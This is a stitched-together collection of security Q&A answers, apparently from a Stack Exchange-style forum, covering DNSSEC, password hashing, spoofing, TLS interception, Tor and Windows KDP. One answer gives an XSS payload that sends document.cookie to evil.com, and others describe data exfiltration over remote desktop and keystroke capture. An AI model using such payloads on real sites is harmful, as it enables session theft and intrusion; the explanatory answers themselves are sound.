On validation check the submited csrf token with the session variable of the user.


Is it possible to create DNSSEC chain of trust for local root zone

Look at https://ftp.isc.org/isc/bind9/cur/9.15/doc/arm/Bv9ARM.ch05.html#dnssec-keys

  A trust anchor is defined when the public key for a non-authoritative
  zone is known, but cannot be securely obtained through DNS, either
  because it is the DNS root zone or because its parent zone is
  unsigned. Once a key has been configured as a trust anchor, it is
  treated as if it had been validated and proven secure.

  The resolver attempts DNSSEC validation on all DNS data in subdomains
  of configured trust anchors. (Validation below specified names can be
  temporarily disabled by using rndc nta, or permanently disabled with
  the validate-except option).

And the example at https://ftp.isc.org/isc/bind9/cur/9.15/doc/arm/Bv9ARM.ch04.html#dnssec_config

dnssec-keys {
        /* Root Key */
        "." initial-key 257 3 3 "BNY4wrWM1nCfJ+CXd0rVXyYmobt7sEEfK3clRbGaTwS
                                 JxrGkxJWoZu6I7PzJu/E9gx4UC1zGAHlXKdE4zYIpRh
                                 aBKnvcC2U9mZhkdUpd1Vso/HAdjNe8LmMlnzY3zy2Xy
                                 4klWOADTPzSv9eamj8V18PHGjBLaVtYvk/ln5ZApjYg
                                 hf+6fElrmLkdaz MQ2OCnACR817DF4BBa7UR/beDHyp
                                 5iWTXWSi6XmoJLbG9Scqc7l70KDqlvXR3M/lUUVRbke
                                 g1IPJSidmK3ZyCllh4XSKbje/45SKucHgnwU5jefMtq
                                 66gKodQj+MiA21AfUVe7u99WzTLzY3qlxDhxYQQ20FQ
                                 97S+LKUTpQcq27R7AT3/V5hRQxScINqwcz4jYqZD2fQ
                                 dgxbcDTClU0CRBdiieyLMNzXG3";
        /* Key for our organization's forward zone */
        example.com. static-key 257 3 5 "AwEAAaxPMcR2x0HbQV4WeZB6oEDX+r0QM6
                              5KbhTjrW1ZaARmPhEZZe3Y9ifgEuq7vZ/z
                              GZUdEGNWy+JZzus0lUptwgjGwhUS1558Hb
                              4JKUbbOTcM8pwXlj0EiX3oDFVmjHO444gL
                              kBOUKUf/mC7HvfwYH/Be22GnClrinKJp1O
                              g4ywzO9WglMk7jbfW33gUKvirTHr25GL7S
                              TQUzBb5Usxt8lgnyTUHs1t3JwCY5hKZ6Cq
                              FxmAVZP20igTixin/1LcrgX/KMEGd/biuv
                              F4qJCyduieHukuY3H4XMAcR+xia2nIUPvm
                              /oyWR8BW/hWdzOvnSCThlHf3xiYleDbt/o
                              1OTQ09A0=";

...

So define your key for your zone in one such dnssec-keys statement, and set dnssec-validation to yes (not auto).

See also this explanation later:

  The keys specified in dnssec-keys copies of DNSKEY RRs for zones that
  are used to form the first link in the cryptographic chain of trust.
  Keys configured with the keyword static-key are loaded directly into
  the table of trust anchors, and can only be changed by altering the
  configuration. Keys configured with initial-key are used to initialize
  RFC 5011 trust anchor maintenance, and will be kept up to date
  automatically after the first time named runs.


A possible idea for this might be a page that calculates a cryptographic hash of the code on your server, and exposing the code that calculates that hash. Then, you can have users verify that:

Your hashing code does what it should;
Your hashing code is the same as the one on your repository;
Your hash matches the hash generated from the repository.

The other alternative is to enable read-only directory browsing on your site, probably through a page that can render any source code file on your site.


Are there any statistics about packet filtering to prevent IP spoofing on the internet?

The reason that you were not able to spoof your source IP address is probably because your ISP uses uRPF (Unicast Reverse Path Forwarding) or some other type of IP validation filtering before routing your traffic.

uRPF Info: http://www.cisco.com/web/about/security/intelligence/unicast-rpf.html

Quote block from the uRPF page on Cisco: "Network administrators can use Unicast Reverse Path Forwarding (Unicast RPF) to help limit the malicious traffic on an enterprise network. This security feature works by enabling a router to verify the reachability of the source address in packets being forwarded. This capability can limit the appearance of spoofed addresses on a network. If the source IP address is not valid, the packet is discarded."

Since you're not using a sketchy ISP that does not provide these services, you're not able to spoof your IP address successfully. At this time, IP address spoofing can be exploited on around 25% of ISP's worldwide (http://spoofer.caida.org/faq.php.)

The biggest issue is that there is no way for legitimate ISP's to verify that all inbound traffic is legitimate (not spoofed).

You're looking for spoofing stats? Here's the place to look:
http://spoofer.caida.org/summary.php

You're wanting more info about spoofing and why it's an issue? Here's the place to look: http://spoofer.caida.org/faq.php

Also, if you're looking to test to verify that your ISP's DNS servers are not vulnerable to DNS spoofing, check out GRC's DNS Nameserver Spoofability Test: https://www.grc.com/dns/dns.htm


When implementing a login / password checking mechanism, should one check if a given password is already in use

No. Actually you should be following a slightly different rule: when implementing a login / password checking mechanism, one should not be able to recover passwords, only verify them.

To achieve this, here is what you need to do:

Pick a slow password hashing function. Argon2 would be ideal, If you cannot use this (or wish to make a more conservative choice) then choose one of bcrypt or PBKDF2.
Generate a random, unique salt per user (it should be unique per user, this is important).
Apply the hash function you have chosen to the password+salt, as described in its documentation. Usually this will simply be H(salt||password) or H(password||salt), but follow the documentation for the function you choose.
Store the result and the salt in your database, alongside the user identifier.

Pepper has just been mentioned in comments. You can also generate a global load of random junk for your site and hash your passwords like this: H(pepper||salt||password). Store both the pepper and the salt. Pepper buys you further resistance against any kind of rainbow table attack and further resistance against any kind of brute force attack. See Password Hashing add salt + pepper or is salt enough?

To verify any password, you simply repeat this process with the submitted password. At the end, the result should be the same, if it is not, fail the login.

What this buys you:

If your database is stolen, rainbow tables will not work (thanks to the salt).
If your database is stolen, bruteforcing will take a very long time (thanks to the slow hash function).
If your database is stolen, there is no easier way than brute force, thanks to the fact you are using a hash function and not secret-key encryption. You should assume that if your database can be stolen, so can your secret key for decrypting your passwords.

For improving password quality, you could reject certain passwords. For example:

Set a minimum password length of of a decent amount. Some will say 8 characters; personally I would err on the side of caution and say 12 characters.
Do not set an upper limit, or set a reasonable one such as 63 characters. Users who use 32 character passwords of randomly generated printable ascii are helping themselves massively and you should not arbitrarily stop them or get in the way of password manager usage.
Require some reasonable combinations of letters, numbers and punctuation. When setting any complexity requirements, first read this answer.
Do not set an regular password expiry. This will encourage all manner of bad behaviour in users, for very little benefit.
Encourage better passwords with a "password quality" meter.

To improve the overall security of your system, consider implementing two-factor authentication for accounts. Yubikeys (U2F) are inexpensive and straightforward for users of Google Chrome (and maybe soon Firefox); TOTP is also good. SMS authentication is considered dubious due to the vulnerability of mobile networks to tampering with and intercepting SMS delivery.


Hidding ip address in a peer to peer connection

You won't be able to do this with a direct point-to-point connection. You'll need a central server. That way, each connected client only knows the server's IP address.


How long does it take after a card is skimmed (unknowingly) at an ATM for the thief to be able to steal cash from the account?

Here is what I think happened.

Two conditions which are found often around universities:

This is ATM at which you swipe your card and the card remains in your possession while the transaction occurs on the screen. This is not the kind which eats the card and keeps it and spits it back out at you.
The ATM software after giving cash for withdrawal and printing a receipt -- resulting in me the user thinking the transaction is done -- then asks "would you like another transaction?"

I've seen this before and I've pointed out to people this behavior when I use the machine behind them.

What happened is that this 1 minute later person was waiting for someone to walk away with the screen on the "would you like another transaction?" prompt. They approach and say yes and can withdrawal money from the account.

There is no skimming required for this type of theft.


tcpdump & wireshark
You can quickly rule out tcpdump and wireshark since both are used for packet captures. While banners could be grabbed by obtaining full packet captures, an encrypted stream circumvents it. Having access to the private key could decrypt the encrypted stream but not feasible for this question. It's overthinking and unlikely.
That leaves nmap and netcat.
nmap
Perhaps, for this material, nmap was placed in the network port scanner category. Its good you recognize there's much more functionality for I too see it as the "practical" answer.
netcat / nc
netcat is best known for establishing network connections which allows file transfers, sending custom requests to services (e.g. SMTP, HTTP, etc), and tunneling; just to name a few. So with nc handling the lower OSI layers of the connection, the user can manipulate the upper layers as needed. With banners being at the Application layer, nc can be used and likely why it's the desired answer.
Alternative
Another way to look at it is to consider pivoting. Of all the listed utilities, tcpdump and netcat are natively available on Linux/Unix systems. Thus making netcat the answer.
Context Matters
As mentioned in the comments, tests often look to evaluate your knowledge of the material. So it's best to approach questions using that lens.


Allowing 3rd party to examine SSL/TLS traffic on servers which provide PFS

I'm not familiar with Akamai's infrastructure but since they are the endpoint of the HTTPS connection there is no need to decrypt their own traffic. Instead they can have some SSL termination somewhere in their system and from then on could analyze all traffic in clear. Also, it is not uncommon to have WAF functionality and webserver integrated in one system. And most of the DoS protection is done at layer 3 and 4 anyway, i.e. it does not care if the traffic is encrypted or not.
Thus I very much doubt that they would even try to decrypt the traffic since this much easier and cheaper ways for traffic inspection exist.


There are at least two ways to achive this:

using presigned URLs (see also here)
generating a temporary, signed policy allowing actions on the bucket

In either case you need to make sure to only grant the access you want. Some possible pitfalls:

allowing a user to read a file they do not own
allowing a user to (over)write a file they do not own
allowing a user to perform other actions they shouldn't do (listing directories, acls, etc)
allowing malicious files to be uploaded (eg HTML for XSS)

There is a lot of room for error, so make sure to have the security team look at the final implementation.


TPM is supposed to be implemented in hardware, but the Intel chipset on the motherboard (Platform Controller Hub) which contains the Intel Management Engine has a TPM implemented in software running on the chipset (not on the CPU) which is secure as long the chipset and its firmware are secure.

There have been security problems in Intel ME firmware, but as long as you will get firmware updates from Lenovo for as long as you plan to use it, it's fine. You will be unable to install firmware fixes Intel makes available without Lenovo's help, so make sure they'll support that specific model for as long as you need. If they, for example, require you to buy extra years of warranty just to download updates, that's a ripoff.

The real hardware TPM chip can also have security issues, and you probably remember the ROCA vulnerability. In that case too, you needed support from the OEM to install a firmware update in the TPM chip, so I guess the "patchibility" of both options is about the same.

The security track record should be better for the hardware TPM, because that's their main business while the TPM in Intel ME (and the rest of Intel ME) is not Intel's main business, and we know they have not consulted their internal security people on most design decisions for decades and it's coming to bite them in the behind.

The hardware chip being only TPM 1.2 and not TPM 2.0 is kinda weird. TPM 2.0 is not a new standard (released 2014).

I think I would choose the hardware chip.


Which key questions to ask while vetting an incident response company?

When vetting a company where you are unqualified to assess the service they would provide, the main thing to ask for are references where you can talk to their own customers.
As for your list of risks that you want to mitigate:
The biggest mitigation is the contract, not the qualifying questions you ask.

Company does not have someone available for us right when we need them

If you need a certain availability, that should be in the SLA, not a question on a vetting list.

Company sends someone lacking experience & competence to help us

This is also an SLA issue. The maximum level of the expertise in the company is determined by the vetting process, but who they ultimately send needs to be covered in an SLA.

Our understanding of how much it costs to involve Company is way off

This isn't a vetting question at all, but a contract question.

we lack experience & competence to efficiently communicate with essentially unknown contractors during a crisis

we lack appropriate documentation and credential-sharing procedures to get them setup quickly

These are not vetting questions at all, but completely separate issues. I'm not sure why they are on the list.


TrueCrypt on shared cloud folder (Dropbox, Skydrive,...)

You would need to share the password as truecrypt is just a filecontainer on top of your existing filesystem. I'd strongly advice against using Truecrypt as my experience with dropbox has shown that every time you change something in the container, the complete container will need to be reuploaded.

Furthermore for the sake of confidentiality I would really refrain using personal Dropbox and Skydrive accounts for any work related matters.

Correction:
Dropbox uses delta sync (so it will upload only the changes of the big file) and a change in a small file inside a truecrypt container will not result in a complete new container. https://superuser.com/a/308224/165352

Hence, a truecrypt container shared online with some service that supports delta-syncs will be fine when it comes to file uploads etc. However, you could still have the usual problem of simultaneous edit of the same file.


Determining vulnerable software on client machines

There are a multitude of ways that people and applications leak information about software versions.

If you can see documents that people post or share, the document format typically explicitly or implicitly identifies the version of software that produced it.  People post bug reports and questions on forums asking for help with software.

If you can get them to visit your web site, you'll get a huge amount of information about their browsing environment which is highly correlated with other software they use.

There are programs that report on software version information, either for enterprise security management, or for popularity contests, or the like.

And you can often just guess, based on knowledge of other software they use, when they got a new computer, what industry they work in, etc.

Finally, much malware is designed to attack multiple versions.  And even if it isn't, the cost of trying an exploit is often so low, that people just do wholesale attacks (like spam), just hoping to find a vulnerable client.  That is probably the most common approach in real life, outside of sophisticated spearfishing attacks.


Token Auth best practices: how to prevent copying tokens out of the browser?

I think this is really out of scope of your application code. If a malicious user is able to steal session information by having physical or other access to the victim's computer, all assumptions about security are off. Even if you were to prevent stolen session information from being used, what's to stop the attacker from stealing credentials instead? Or simply just using the already logged-in session on the victim's computer? Maybe the victim's browser could be remotely hijacked to communicate with your service on the attacker's behalf.
That said, there are sometimes mechanisms used that will flag when the session's IP address changes, or there is a log on from a new location. However, these things also come with a negative user experience, so it is up to you to balance that if you choose to implement any of them. This would need to be server-side logic in any case.


Does it make sense to use CloudFlare's DNS in addition to NordVPN?

The purpose of those "IP leak" tests is generally to determine whether anything regarding your DNS/network configuration is allowing information to leak outside of the VPN such as what sites you are visiting to the ISP, and servers may be able to determine your ISP and/or approximate location (however, your DNS/network setup is just one of many ways these could be leaked).
The idea is that a user with a leak will be using a VPN for all of their traffic, but their computer is still set to use the ISP's DNS server or some other local resolver (e.g. router) that is set to the ISP's DNS servers. The site forces your computer to make uniquely identifiable DNS requests (e.g. ahd6Jduek72ks.example.com), and the site will see which recursive DNS server was handling the query. Of course, the site will also see what IP address you are visiting from.
In your case, if you do not see any information that reveals your ISP or location, then you are passing that particular test. Note that the site will always be able to identify your current configuration; that's just the way the internet works.
And of course, passing an "IP leak" test does not guarantee that you have anonymity or privacy. For example, your browser can be fingerprinted, your local IP address can be revealed with WebRTC, your location can be revealed (if allowed by you), and your activities may cause you to be identified (e.g. logging in to personal accounts). Of course, this all depends on who and what you are trying to protect against.


Unfortunately, most of pen drives are not identifiable uniquely. What you can use is volume ID but it can be copied easily as well.

I can see at least two options:

a) Protect file on the pen drive with a password (just encrypt the file using i.e SHA256 AES256, sorry and when its accessed request the password from user and decrypt the content of the file you need).

b) use secure pen drives such as CryptoSticks or software protection dongles.


Virus attached or included in VST(i) Plugin

A VST is just a DLL which exposes a specific interface. As such, it can contain arbitrary code, and can do anything that an EXE could do. Treat it as such. If you don't trust it, don't run it.

Keep in mind that virus scanning will only protect you against known signatures, so something unknown or custom might still catch you out. Running the plugin through VirusTotal or a similar service may help, but ultimately you can never be sure and there is always a risk.

My advice would be to research the plugin and the person/company who wrote it, and the site you downloaded it from if it's coming from somewhere generic. Verify their trustworthiness by reading reviews, looking at their other work, and seeing which communities they're active in and trusted by.


Are there valid reasons for spoofing an address?

I found an article here which describes some legit examples for spoofing IP:

In mobile IP environments, where a roaming host must use a "home" IP address in a foreign network (ref. C. Perkins, "IP Mobility Support for IPv4)
virtual private networks that set the host IP to an address local to the organization's network


How can a intercepting tool(Burp) breaks the SSL connection between a browser and the server even if the application employes HTTPS

Check the certificate shown in your browser when you are accessing your application. You should see that it claims to be from a company called Portswigger who are the manufacturers of Burp.

What is happening is that your browser, proxies through Burp, is picking up that certificate, and encrypting traffic with it. Burp can decrypt that traffic, and display it. It also reencrypts the traffic with the original server certificate and sends it to the server for processing.

The same happens in reverse for responses. It is effectively a man in the middle attack, but one that you are running against yourself.

There are ways to protect against this, but they aren't always appropriate for web applications due to browser support issues.


Is directly echoing the user agent in PHP a security hole?

You are correct that you do no need to worry about PHP code being injected. The echo command just echoes stuff - it does not execute it.

The JS is more problematic, though. Your code may be vulnerable to XSS. The client controls the user agent, and the attacker controls the client. You are giving an attacker the ability to inject arbitrary HTML and JS code into your webpage. Just use a user agent like this:

<img src="" onError="window.location='https://evil.com?'+document.cookie">

There is one big problem for the attacker: While it's easy to change your own user agent, you can't really change someone elses. So it's not obvious how you would hack anyone but yourself with this - it's a quite advanced form of self-XSS. If you are storing and then displaying other users user-agents (e.g. from logs) you have a much bigger danger. But that is not the case with your simple script.

So why doesn't that work for you? It looks like your attack gets blocked by some kind of WAF or similar. Thats great, but don't write bad code in the hope that your WAF will protect you! A WAF will not protect you against everything. And who knows where your code will run in the future and if there will even be a WAF there...


How to exfiltrate data over remote desktop

Some remote desktop protocols have a shared clipboard.  In this case, exfiltrating data is simply a matter of copy-and-paste: copy on the remote desktop, paste on the local one.

Some protocols have built-in file transfer.  Exfiltrating data becomes as simple as dragging the database files from the remote desktop to the local one.

All remote desktop protocols support video display.  Exfiltration can be as primitive as starting a screen-recording program on the local system, watching the desired data scroll by, and transcribing it at your leisure, or a more sophisticated system such as automated OCR or the QR-code scheme mentioned in the question can be used.

If the data can be viewed remotely, it can be exfiltrated.  It's just a question of how easy it is.


Can I prevent my neighbors, whom I pay for shared internet (WiFi), from seeing the sites I've visited?

Yes they can but unless your neighbor has the required technical expertise, its highly doubtful.

To view incoming and outgoing traffic you need specific software to monitor network packets and the tech knowledge to actually do it. Most routers only keep a syslog and unless they are using software like wireshark to monitor/capture your packets, they cannot view the sites you have visited.

So unless he is a geek or a hacker (however amateur) there is usually nothing by default that records your traffic.

*Side Note: Clearing your browsing history is completely restricted to your local system and if they can/are monitoring, it will do you no good.

Alternatively, if your neighbor does have the required software and skills to monitor your traffic, you can use a proxy. By doing so the monitoring software will only show a lot of outgoing and incoming connections between you and the proxy, so even though they will know you are using a proxy, they can't see what sites you visited.

EDIT: as lorenzog correctly mentioned in the comments, for true sense of security and privacy, one should use a SSL Proxy to encrypt data sent and also tunnel DNS queries (which can be monitored by the router administrator) through the SSL proxy.


Can my address as well as final 4 digits and name on credit card be stored without PCI compliance?

It is very possible, and quite likely, that they do store- Name, Address, Phone number, email, and other contact and purchase data.  This is irrelevant to PCI.  PCI cares about the credit card data (CHD) and account number (PAN) and the other data on the mag stripe - including the "extra" numbers on the back of the card, and the expiration date.

PCI forbids storage of the mag stripe data and the "extra" numbers, (for anyone other than those who really need it).
PCI permits storage of the last 4 numbers along with other pieces of data such as a transaction number and for repeating transactions, the merchant can also store a special single-merchant number that looks like a credit card number and works the same, but it is tied to the merchant.

Most merchants do not want the wrath of the PCI council and/or their bank and/or law enforcement, and will do everything they can to "de-scope" systems out of PCI scope.  So, there is the question if they are 100% compliant, however, they may be compliant "enough" with only the data you indicated.


My WiFi (with my own password) is connected to our office network. Is it secure?

Given that your IT staff are oblivious enough to allow to install your own WiFi access point, it's safe to assume they're not conducting advanced network analysis to figure out patterns in your encrypted Skype sessions or extract secrets from your HTTPS sessions.

Please note that the traffic is coming out of your laptop into the WiFi access point which is connected to your Office's router and then to the internet. The inbound traffic is coming from the Internet to your Office's router which will pass it to your access point and finally to your laptop. Whatever you're browsing or doing online can be logged and observed by their router.

Luckily for you, FaceTime and Skype encrypt their traffic. As for your other "media transfer" activities, if they're not over HTTPS then assume your employer knows about them and act accordingly.


Can a (clearweb) website unmask/ identify TOR users?

But could a website trick you - e.g. into downloading an executable file that connects to the internet outside of TOR and gives away your ip address?

Technically? Of course it could. It looks like that is pretty much exactly what the FBI did in the Playpen case. If you really care, you have to make sure that there is no way for any of your traffic to not go through Tor.

There was actually a DEF CON talk in 2014 that went into this at some length. That's Zoz - Don't Fuck It Up!, which is available on Youtube. The discussion on Tor starts at 21 minutes, and several parts of it are highly relevant to your question:

At about 23 minutes 30 seconds, a real-life example of a traffic correlation attack based on local (in that case wireless) network traffic to Tor nodes corresponding to participating in illegal actions. That kind of attack does not require attacking Tor at all.
At about 24 minutes, the moral of the real-life story being don't fail unsafe with Tor. If you are doing something where you are relying on the anonymization provided by Tor, make certain that if you fail to use Tor then traffic cannot leave your computer or LAN. This includes software other than your web browser.
At about 27 minutes 50 seconds, the presenter starts discussing Tor deanonymization attacks. Bottom line there: even for NSA and GCHQ, at least in 2012, large-scale Tor deanonymization was not possible, but specific cases of Tor deanonymization were possible (that specific claim is made 28 minutes 30 seconds into the video).

However, the bigger question remains: Why on Earth are you downloading and running untrusted software? That's the attack vector in the case you are describing, and the fact that you are doing that over Tor is largely inconsequential. Don't run untrusted software or open untrusted documents on a trusted system.

Especially if you have reason to believe that the government has an interest in you, be extremely vigilant about what you download, install and run on your system. Force all your web traffic to use HTTPS (Tor doesn't protect your "base traffic", nor does a VPN); use NoScript with a restrictive policy; or even turn Javascript off entirely in your browser (there are plugins to make that easy) if you don't absolutely need it. Put your entire computer behind a Tor gateway, such that it cannot communicate with the outside world without going through Tor.


What unique fingerprinting information can an iOS7 app collect?

This is not a comprehensive answer, but as of iOS 7 the MAC address cannot be accessed anymore since the corresponding system calls return the same static value for all devices (see: https://developer.apple.com/news/?id=8222013a)


Can HTTPS be compromised by first contact?

To the best of my knowledge the problem you'll encounter in the described scenario is that certificates don't usually work by IP address

This may vary from site to site, so test against your desired site by browsing to it via IP and seeing if you get a valid HTTPS connection.

The rest of the question is more straightforward - yes browsers will give you a certificate error if there's an issue with the cert. Unfortunately most users just click through these errors because they don't care or know enough to understand the risk.

You are correct in thinking that it's not possible to buy a certificate for a domain someone already has the certificate for - or not from a trusted CA (Certificate Authority) anyway. What an attacker will usually do is self-sign a certificate, so if you inspect it, it will show as being for the correct site, but browsers should throw a warning at you because the CA is untrusted.


Reading keystrokes of other applications

the windows developer tool 'spyxx' can capture all windows messages, including keystrokes and mouse events of other applications, so it is certainly possible.

It uses SetWindowsHookEx.


Fake server certificate attack in SSL/TLS

You can use HPKP to pin the public key of your self-created authority, thus after the first connection the client will refuse any certificate signed by another trusted CA.


How effective is Windows KDP for exploit mitigation in practice?

The Problem
Just like a regular program, a kernel is susceptible to malicious code being executed in it. Whether this comes in the form of the operating system itself featuring a vulnerability or more commonly a 3rd party driver (which has access to kernel-space) the end result is that unwanted code can be executed in the kernel.
Of course, it is unrealistic to expect a scenario where malicious code will never be executed in the kernel. Vulnerabilities are everywhere and always will be. In an effort to solve this issue, Microsoft came up with the idea to add a new technology to their stack of Virtualization-Based Security (VBS) mechanisms. This technology is known as Kernel Data Protection (KDP) which adds a new kernel boundary by leveraging virtualization technology such that there are sections in memory which even the kernel itself does not have access, as we will later find out, as far as Static KDP is concerned this does not prevent code execution nor does it really intend to.
Microsoft has two tasks they wish to solve. The first is software based exploits coming in from the CPU. The second is exploits coming in from  the hardware such as via I/O devices (via device drivers) and network connected devices.
The Solution
The solution is to use a combination of virtualized-based Security technologies along with hardware-based features and a new set of APIs, "KDP" so that some sections of kernel memory can be marked as read-only but not just read-only, but also totally unreadable/unwritable from a lower privilege level.
There are two primary technologies used in conjunction with the KDP API to solve this problem. The first is Second Level Address Translation (SLAT) which tries to prevent exploits (read/write primitives) coming in from the CPU. The second technology is an Input Output Memory Management Unit (IOMMU) which tries to prevent exploits (read/write primitives) coming in via vulnerable device drivers.
The Implementation
In order to implement this technology it all starts with the Hyper-V hypervisor. Hyper-V makes use of two technologies known as SLAT and an IOMMU in order to effectively "wall off" portions of memory which can then only be accessed by very high privileged code (code in VTL1). As there's quite a lot of technology going on, it helps to view this in a diagram at which point we can look at every individual piece in order to figure out how it fits together to make up the requirements for a functioning KDP API.

In a classic computer model, the kernel communicates directly with the hardware. However, in modern versions of Windows this is not the case. The kernel instead communicates with the Hyper-V hypervisor which sits between the hardware and the kernel, this is a software-based hypervisor which ultimately is what allows all of these other virtual-security technologies to exist and operate.
In this model if the kernel wants to access a portion of memory instead of accessing it directly via the hardware, it will tell the hypervisor that it wishes to access a region of memory at which point the hypervisor will go to the SLAT to retrieve that memory.
You'll notice that the memory is divided into two regions, "normal memory" and "secure memory", having a technology like SLAT allows this to function in the way that you'd expect. By marking a certain region of memory as "secure memory" you can place things in that "secure memory" bucket, which then makes them inaccessible from "normal memory" and only accessible via a call to the hypervisor from "VTL1". This is a key function of Kernel Data Protection.
We'll start by understanding how the Hyper-V Hypervisor allows Windows to create this concept of Virtual Secure Mode (VSM), this is a key technology to make KDP work.
Virtual Secure Mode
Windows 10 introduced this concept of VSM by leveraging the Hyper-V Hypervisor and SLAT. VSM creates a set of modes known as Virtual Trust Levels (VTL). This software-level architecture creates a new security boundary within Windows to prevent processes in one VTL accessing the memory of processes in another VTL. The overall goal of this additional isolation is the mitigation (but not prevention) of data corruption kernel exploits. An additional goal is the protection of assets such as password hashes and Kerberos keys.

As depicted in the diagram above, there are two VTLs: VTL0 and VTL1. These can also be referred to as "VSM Normal Mode" and "VSM Secure Mode" but for our purposes we will refer to them VTL0 and VTL1.

VTL0 is the "normal computer". This is the boundary within which the user is operating on a daily basis (web browsers, word processing, etc).

VTL1 is the new isolation boundary created by the hypervisor, just like VTL0, VTL1 can be thought of as "another computer". That is to say that just like VTL0, it can execute code in both a user-space context and kernel-space context.

At boot time, the hypervisor uses the SLAT in order to assign memory to each VTL. This continues dynamically as the system runs such that the Secure Memory (VTL1) is protected from Normal Memory (VTL0) and likewise code in VTL1 is protected from code in VTL0. Because VTLs are hierarchical any code running in VTL1 is considered more privileged than code running in VTL0 and as such, VTL1 code has extremely high levels of access and is in-fact the only VTL which can make hypercalls to the hypervisor.
Second Level Address Translation
With VSM explained, we need to understand how SLAT works. As we already covered, at boot time the hypervisor uses SLAT in order to assign both VTLs their own section of memory (noted as "Normal Memory" and "Secure Memory") this memory mapping is managed dynamically as the system runs.
When SLAT is enabled the processor translates an initial virtual address called Guest Virtual Address (GVA) into an intermediate physical address called Guest Physical Address (GPA). This translation is still managed by the page tables addressed by the CR3 control register which managed by the NT kernel. The final result of the translation yields the processor a GPA, with the access protection specified in the Guest Page Table (GPT). Only software which is operating in kernel mode can interact with page tables such is the case that a rootkit could modify the protection of the intermediate physical pages.
The hypervisor helps the CPU to translate the GPA using the Nested Page Table (NPT). On a non-SLAT system, when a virtual address is not present in the Translation Lookaside Buffer (TLB), the processor needs to consult all the page tables in the hierarchy in order to reconstruct the final physical address. The virtual address is split into four parts. Each part represents the index into a page table of the hierarchy. The physical address of the initial Page-Map-Level-4 (PML4) table is specified by the CR3 register. This is why a processor is always able to translate the address and get the next physical address of the next table in the hierarchy. It is important to know that in each page table entry of the hierarchy the NT kernel specifies a page protection through a set of attributes. The final physical address is accessible only if the sum of the protections specified in each page table entry allows it.

On a SLAT-enabled system, the intermediate physical address specified in the guest's CR3 register needs to be translated to a real System Physical Address (SPA). In this case, the hypervisor configures the nCR3 field of the active Virtual Machine Control Block (VMCB) representing the currently executing VM to the physical address of the NPT. The NPTs are built in a similar way to standard page tables, so the processor needs to scan the entire hierarchy to find the correct physical address. In the figure, we'll note that we have "n" and "g" these indicate the NPT and GPT respectively. Where the NPT are managed by the hypervisor and the GPT are managed by NT kernel.

As shown above, the final translation of a GVA to a SPA goes through two translation types: GVA to GPA, configured by NT kernel and GPA to SPA, configured by the hypervisor.

An NPT entry specifies multiple access protection attributes this allows the hypervisor to further protect the SPA (the NPT can only be accessed by the hypervisor itself). When the processor attempts to read, write or run an address to which the NPTs disallow access, an NPT violation is raised and a VM exit is generated.
Input Output Memory Management Unit
However, SLAT only solves the CPU problem, it doesn't solve a hardware one, namely device based attacks such as Direct Memory Access attacks (DMA attacks). To solve this, Windows leverages an IOMMU which is a type of Memory Manage Unit (MMU). The IOMMU connects a DMA-capable I/O bus to the main memory. Its purpose is to map device-visible virtual addresses to physical addresses in memory via a page table such that when a device wants to access memory it has to go through the IOMMU in order to access it. This page table stores memory addresses as well as access permissions associated with those memory addresses.

Device drivers sit in VTL0 but they need to program connected I/O devices to tell them which regions of memory to access. However, the problem that this model causes is that a device driver can tell a device to access memory in VTL1. By putting the IOMMU between the device and the device driver, it can limit the memory which the device can access.
Since the hypervisor is responsible for the programming of the IOMMU and the hypervisor can only be managed from VTL1 this prevents a situation where an attacker can use vulnerable driver code to perform DMA attacks and access memory to which it should not have access.
Static KDP Implementation
SLAT is the main protection principle which KDP uses to function. Dynamic and static KDP implementations are similar and are both managed by the Secure Kernel (VTL1). The Secure Kernel is the only entity which is able to send the ModifyVtlProtectionMask hypercall to the hypervisor. This call modifies the SLAT access protection for a physical page that is mapped in the lower VTL0.
For Static KDP, the NT kernel (VTL0) verifies that the driver is not a session driver or mapped with large pages. If one of these conditions is true, or if the section is a discard-able section then static KDP cannot be applied. If the entity which called the MmProtectDriverSection API did not request the target image to be unloadable then the NT kernel performs the first call into the Secure kernel which pins the normal address range (NAR) associated with the driver. This pinning operation prevents the address space of the driver from being reused, making it so the driver is not unloadable.
The NT kernel then brings all the pages that belong to the section in memory and makes them private. Those pages are then marked as read-only in the leaf Page Table Entry (PTE) structures. At this stage, the NT kernel can finally call the Secure kernel for protecting the underlying physical pages through the SLAT. The Secure kernel applies this protection in two stages:

Register all the physical pages that belong to the section and mark them as "owned by VTL0" by adding the proper normal table addresses in the database and updating the underlying secure PFNs which belong to VTL1. This allows the Secure kernel to track the physical pages, which still belong to the NT kernel.
Apply the read-only protection to the VTL0 SLAT table.

The target image's section is now protected and no entity in VTL0 will be able to write to any of the pages belonging to the section.
Although Microsoft seems to market this as protecting code execution it actually doesn't do that at all. As it's name suggests it is "Data Protection" all this feature does is protect data from being accessed from one kernel to another (NT->Secure). The entire purpose of this is that if you manage to get code execution in the NT kernel you cannot read data that has been defined to be stored in the VTL1 memory space or execute code in VTL1. Nor can you perform any form of memory corruption on the data in the VTL1 memory space. This doesn't prevent kernel exploits. You can still run them in VTL0.1
One thing this does a good job at protecting is Hypervisor-Protected Code Integrity (HVCI) from being disabled. In the past there have been attacks where someone finds a vulnerable piece of driver software and then using that vulnerability they turn off HVCI. However, this is an overall goal of VBS not just KDP specifically. KDP is just one set of APIs to help achieve this goal.
Usefulness in Mitigation
As far as mitigation goes - Static KDP isn't that useful. In-fact, the whole technology stack this makes up is generally more geared towards isolation of data more-so than kernel execution prevention.
Your point you made that surely an attacker can just use a write primitive elsewhere is entirely correct. This doesn't stop code execution & it doesn't totally stop read/write primitives. It only prevents those kind of attacks on areas of memory which have Static KDP applied (like HVCI for example). Unfortunately, it is quite hard to know which areas of memory those are by default, given that Windows is closed source.
I don't think it is fair to call Static KDP an equivalent of Linux Kernel Runtime Guard (LKRG) and in-fact, LKRG is more similar to Hypervisor-Protected Code Integrity. Your assertion is true though that KDP does effectively enforce a write protection on a given area of memory.
Threat Model
Microsoft's main threat model for this was noted as: "protecting keys and hashes" as well as HVCI from being read from lower privilege/overwritten from lower privilege.
Microsoft have noted a few times that they plan to use this technology more going forwards in order to better protect themselves against driver based vulnerabilities, however they have not specifically called out future plans, designs or how they aim to do that. Just that they will use this technology to do it.

1 - This technology, specifically Static KDP seems somewhat like security theater. There is little benefit to using this. This does not stop code execution nor does it prevent or mitigate vulnerable driver code. All it does is allow the OS to say: "Kerberos keys need more security, place them in VTL1 so if VTL0 gets pwned they don't get the keys". Although the name advertises itself as "Kernel Data Protection" the Microsoft blog advertises this feature as somewhat preventing vulnerable code execution even though it does not...

